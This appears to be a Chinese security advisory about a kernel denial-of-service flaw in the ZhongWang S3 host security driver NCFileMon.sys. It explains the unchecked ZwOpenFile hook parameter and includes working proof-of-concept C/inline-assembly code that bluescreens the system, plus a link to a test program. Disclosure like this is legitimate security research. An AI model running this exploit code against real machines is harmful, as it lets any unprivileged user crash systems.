中网S3主机安全系统2008版本3.5.0.2(及以下)多处内核拒绝服务漏洞

作者:MJ0011

中网S3是一款号称4D & 4M齐全的防火墙、HIDS/HIPS软件

其最新版本3.5.0.2及以下所有版本的驱动程序存在多出内核拒绝服务漏洞,可使任何权限用户在安装了中网S3的系统上引发蓝屏

出问题的组件(已验证版本):NCFileMon.sys ,版本:5.2.3700.0(囧) , CheckSum = 0x00036d61,TimeStamp = 0x46f774e2

驱动中对于SSDT部分函数的inline hook存在参数检查不严格的问题,用户态传入错误参数即可导致驱动出错,引发系统崩溃,蓝屏重启。

示例函数: hk_ZwOpenFile

验证版本函数偏移量:0x97f6

ZwOpenFile的原型是:

NTSTATUS
ZwOpenFile(
__out PHANDLE FileHandle,
__in ACCESS_MASK DesiredAccess,
__in POBJECT_ATTRIBUTES ObjectAttributes,
__out PIO_STATUS_BLOCK IoStatusBlock,
__in ULONG ShareAccess,
__in ULONG OpenOptions
)

该HOOK函数对于第三个参数 ObjectAttributes->ObjectName->Buffer未作有效性验证,只判断了是否为空。另外,由于该HOOK函数体 内有结构化异常处理,但是该处理机制只对用户模式地址访问异常有效,因此我们构造错误的内核地址参数,即可引发蓝屏

测试代码:

HMODULE hlib = LoadLibrary(“ntdll.dll”);
PVOID p = GetProcAddress(hlib , “ZwOpenFile”);

OBJECT_ATTRIBUTES oba ;
UNICODE_STRING strname ;
strname.Buffer = (PWSTR)0x80000000 ;

oba.ObjectName = &strname ;

IO_STATUS_BLOCK iosb ;
HANDLE hfile ;

__asm{

push 0
push 0
lea eax , iosb
push eax
lea eax,oba
push eax
push 0x40000000 //set access mask to bypass S3 ‘s check
lea eax,hfile
push eax
call p

}

用户态任意权限的程序运行此代码后,即可引发系统蓝屏重启

测试程序下载:http://mj0011.ys168.com ,漏洞演示目录下 :BSOD_ncS3.rar

另外,S3中验证缓存有效性的方法存在一定问题,虽然较难由用户态主动触发,但有一定引发蓝屏的几率,另外,其校验方法也比正规的参数校验方法消耗更多的CPU时间,因此安装了中网S3主机安全系统的机器可能会有较大程度的非必要性能降低

相关日志

发表评论